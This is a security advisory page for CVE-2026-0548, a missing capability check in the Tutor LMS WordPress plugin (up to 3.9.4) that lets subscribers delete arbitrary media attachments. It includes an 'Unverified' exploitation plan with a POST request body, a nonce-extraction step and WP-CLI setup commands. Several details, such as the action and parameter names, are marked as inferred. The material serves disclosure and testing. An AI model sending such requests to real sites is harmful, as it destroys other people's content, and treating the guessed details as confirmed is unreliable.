CVE-2026-0548

Tutor LMS – eLearning and online course solution <= 3.9.4 - Missing Authorization to Authenticated (Subscriber+) Limited Attachment Deletion

mediumMissing Authorization
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
3.9.5
Patched in
1d
Time to patch

Description

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized attachment deletion due to a missing capability check on the `delete_existing_user_photo` function in all versions up to, and including, 3.9.4. This makes it possible for authenticated attackers, with subscriber level access and above, to delete arbitrary attachments on the site.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
Low
Availability

Technical Details

Affected versions<=3.9.4
PublishedJanuary 20, 2026
Last updatedJanuary 20, 2026
Affected plugintutor

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-0548 (Tutor LMS Arbitrary Attachment Deletion) ## 1. Vulnerability Summary The **Tutor LMS** plugin (<= 3.9.4) contains a missing authorization vulnerability in the `delete_existing_user_photo` function. This function is intended to allow users to delete their…

Show full research plan

Exploitation Research Plan: CVE-2026-0548 (Tutor LMS Arbitrary Attachment Deletion)

1. Vulnerability Summary

The Tutor LMS plugin (<= 3.9.4) contains a missing authorization vulnerability in the delete_existing_user_photo function. This function is intended to allow users to delete their own profile or cover photos. However, because it lacks a capability check and fails to verify that the attachment ID belongs to the requesting user, an authenticated attacker with at least Subscriber privileges can delete arbitrary attachments (images, documents, etc.) from the WordPress media library by providing the target attachment ID.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: tutor_delete_existing_user_photo (inferred from function name)
  • Parameter: attachment_id or photo_id (inferred)
  • Authentication: Authenticated (Subscriber or higher).
  • Preconditions: The attacker must know the ID of the attachment they wish to delete.

3. Code Flow (Inferred)

  1. Registration: The plugin registers an AJAX action for logged-in users:
    add_action('wp_ajax_tutor_delete_existing_user_photo', 'delete_existing_user_photo');
  2. Function Call: When a request is made to admin-ajax.php with action=tutor_delete_existing_user_photo, the delete_existing_user_photo() function is executed.
  3. Vulnerable Logic:
    public function delete_existing_user_photo() {
        // Missing: current_user_can() check
        // Missing: verification that the attachment belongs to the current user
        $attachment_id = (int) $_POST['attachment_id']; 
        wp_delete_attachment($attachment_id, true); // Sink: Deletes the file and DB entry
        wp_send_json_success();
    }
    
  4. Sink: wp_delete_attachment() is called directly on the user-provided ID.

4. Nonce Acquisition Strategy

Tutor LMS typically uses a central nonce for its AJAX operations, often localized as tutor_nonce.

  1. Identify Trigger: The profile photo deletion logic is part of the Tutor LMS "Settings" or "Profile Edit" page.
  2. Create Page: Ensure a page exists with the Tutor LMS Dashboard shortcode:
    wp post create --post_type=page --post_status=publish --post_title="Dashboard" --post_content='[tutor_dashboard]'
  3. Extract Nonce:
    • Navigate to the Dashboard page as the Subscriber user.
    • Tutor LMS localizes data into a global JavaScript object, usually tutor_get_conf.
    • Browser Eval Command: browser_eval("window.tutor_get_conf?.nonce") or browser_eval("window.tutor_get_conf?.tutor_nonce").

5. Exploitation Strategy

  1. Identify Target: Find an attachment ID belonging to the Admin (e.g., a header image or sensitive upload).
  2. Authenticate: Log in as a Subscriber-level user.
  3. Obtain Nonce: Use the browser_eval method mentioned above on the [tutor_dashboard] page.
  4. Send Malicious Request:
    • Tool: http_request
    • Method: POST
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Body (URL Encoded):
      action=tutor_delete_existing_user_photo&attachment_id=[TARGET_ID]&_wpnonce=[NONCE]
      
    • Note: If the parameter name is not attachment_id, check for photo_id or media_id.

6. Test Data Setup

  1. Admin Attachment: Upload an image as an administrator to serve as the target.
    wp media import /path/to/image.jpg --title="Admin Secret Image"
    Record the resulting ID (e.g., ID 123).
  2. Subscriber User: Create a standard subscriber.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  3. Dashboard Page: Create the Tutor LMS dashboard page to ensure scripts and nonces are loaded.
    wp post create --post_type=page --post_status=publish --post_content='[tutor_dashboard]'

7. Expected Results

  • Response: The server should return a JSON success message (e.g., {"success":true}).
  • System State: The attachment with the target ID should be completely removed from the wp_posts table and the physical file should be deleted from wp-content/uploads/.

8. Verification Steps

  1. Database Check:
    wp db query "SELECT ID FROM wp_posts WHERE ID = [TARGET_ID]"
    Success: Query returns no results.
  2. Media Check:
    wp post exists [TARGET_ID]
    Success: Returns error or empty string.
  3. File Check: Check the path returned by wp post get [TARGET_ID] --field=guid (before deletion) to ensure the file is gone.

9. Alternative Approaches

  • Parameter Guessing: If attachment_id fails, try image_id, photo_id, or id.
  • Contextual Nonces: Check if the nonce is located in a different localized object like tutor_vars or tutor_data.
  • Rest API: Check if Tutor LMS registers a REST route for the same function, as authorization is often missed in both AJAX and REST handlers. Look for register_rest_route with a callback to delete_existing_user_photo.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.